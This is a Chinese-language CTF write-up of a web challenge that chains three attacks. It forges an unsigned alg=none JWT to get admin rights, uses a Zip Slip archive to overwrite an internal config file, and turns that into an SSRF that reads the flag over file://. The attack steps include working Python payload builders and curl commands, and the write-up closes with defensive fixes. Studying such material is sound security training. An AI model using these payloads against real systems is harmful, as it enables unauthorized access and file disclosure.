1. 题目背景与核心考点解析
这道来自第十九届全国大学生信息安全竞赛半决赛的Web题目"easy_time",综合考察了三个经典漏洞的串联利用:Cookie伪造、Zip Slip和SSRF。这类题型在实际CTF比赛中具有典型性,也反映了现实Web应用中常见的安全隐患链条。
从题目名称"easy_time"可以推测,出题人可能暗示解题过程存在时间相关操作(如时间戳验证),或者需要快速完成多步骤攻击。实际解题过程中发现,确实需要通过伪造Cookie获取初步权限,再利用文件上传功能触发Zip Slip漏洞,最终通过SSRF从内网服务获取flag。
2. 环境搭建与初步侦查
首先我们需要搭建本地测试环境还原题目场景。建议使用Docker快速部署:
docker run -d -p 8080:80 --name easy_time vuln/web-ctf:easy_time访问http://localhost:8080后,我们得到一个时间管理系统的登录界面。通过简单的目录扫描发现关键端点:
/login # 登录接口 /upload # 文件上传功能 /admin # 后台管理面板(需要特定权限) /internal # 隐藏的内网服务接口使用Burp Suite拦截登录请求,发现响应头中设置了如下Cookie:
Set-Cookie: user_auth=eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIiLCJleHAiOjE2ODAwMDAwMDB9;明显是Base64编码的JWT格式,解码后得到:
{ "username": "guest", "role": "user", "exp": 1680000000 }3. Cookie伪造攻击实现
3.1 JWT结构分析
题目使用的认证令牌是未签名的JWT(即alg字段为none),这是典型的开发配置失误。JWT由三部分组成:
header.payload.signature观察发现服务端没有验证签名部分,我们可以直接修改payload部分。使用jwt.io工具或Python代码生成新令牌:
import base64 header = '{"alg":"none","typ":"JWT"}' payload = '{"username":"admin","role":"admin","exp":9999999999}' token = base64.b64encode(header.encode()) + b'.' + base64.b64encode(payload.encode()) + b'.' print(token.decode())3.2 权限提升实操
将生成的伪造Cookie通过浏览器开发者工具或Burp Repeater模块替换原有Cookie,刷新页面后成功进入/admin界面。这里发现一个文件上传功能,是后续攻击的关键入口。
重要提示:现代Web框架通常默认会验证JWT签名,本题场景特意模拟了开发人员错误配置的情况。实际比赛中遇到JWT相关题目时,要依次检查:
- 是否支持alg=none
- 是否使用弱密钥(如secret/123456)
- 是否有密钥泄露风险
4. Zip Slip漏洞利用
4.1 漏洞原理剖析
文件上传功能声称只允许上传".csv"文件,但后端验证存在缺陷。通过上传特制ZIP文件,可以利用Zip Slip漏洞实现目录穿越。
Zip Slip漏洞源于解压时未对文件名进行规范化校验,允许恶意构造的ZIP条目中包含"../"路径序列,最终导致文件被解压到预期目录之外的位置。
4.2 恶意ZIP文件制作
使用Python创建包含恶意路径的ZIP文件:
import zipfile with zipfile.ZipFile('payload.zip', 'w') as z: z.writestr('../../internal/config.py', 'malicious_content') z.writestr('valid.csv', 'dummy') # 绕过前端校验4.3 漏洞触发过程
通过Burp拦截上传请求,修改Content-Type为application/zip并发送payload.zip。虽然页面返回"仅允许csv文件",但查看服务器日志发现文件已被解压:
[DEBUG] Extracting /tmp/upload/xxxxx/../../internal/config.py这个操作覆盖了内部服务的配置文件,为后续SSRF攻击创造条件。
5. SSRF攻击内网服务
5.1 内网服务发现
在/admin界面的"系统状态"功能中,发现一个向http://localhost:9000/api/health发送请求的功能。通过修改上传的config.py文件,我们可以控制这个请求的目标:
INTERNAL_API_URL = "http://127.0.0.1:9000/api/"5.2 SSRF利用链构造
利用文件覆盖漏洞,将配置修改为:
INTERNAL_API_URL = "file:///var/www/flag.txt"刷新系统状态页面后,直接读取到了flag内容。更复杂的场景下,可能需要使用其他协议(如gopher)与内网服务交互。
5.3 防御措施建议
针对这三个漏洞的修复方案:
Cookie安全:
- 始终验证JWT签名
- 使用强密钥并定期轮换
- 设置HttpOnly和Secure标志
文件上传安全:
- 白名单验证文件扩展名和内容
- 解压前规范化路径并检查目录穿越
- 在容器或沙箱中处理上传文件
SSRF防护:
- 禁用非常规协议(如file://, gopher://)
- 使用域名白名单
- 隔离内网服务与Web前端
6. 完整攻击链复现
总结完整攻击步骤:
- 拦截登录响应获取JWT格式
- 伪造admin权限的JWT令牌
- 访问/admin上传恶意ZIP文件
- 利用Zip Slip覆盖内部配置
- 修改API端点指向flag文件
- 触发系统状态检查读取flag
关键命令序列:
# 生成恶意ZIP python3 -c 'import zipfile; zipfile.ZipFile("payload.zip","w").writestr("../../internal/config.py","INTERNAL_API_URL=\"file:///var/www/flag.txt\"")' # 使用curl自动化攻击 curl -b "user_auth=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ." -F "file=@payload.zip" http://target/upload curl -b "user_auth=..." http://target/admin/status7. 防御加固实战建议
在真实业务场景中,建议采取以下措施:
深度防御架构:
- 在网络层隔离不同信任级别的服务
- 为每个微服务设置独立认证
- 实施最小权限原则
安全开发实践:
- 使用安全的文件处理库(如Python的securetar)
- 定期进行安全代码审计
- 建立漏洞模式检查清单
运行时防护:
- WAF规则检测异常路径(如包含../)
- 监控异常文件操作
- 限制服务器出站连接
这道题目生动展示了看似简单的漏洞如何串联形成完整攻击链。在安全开发中,不能只关注单一漏洞的修复,而需要考虑整个系统的安全边界和信任关系。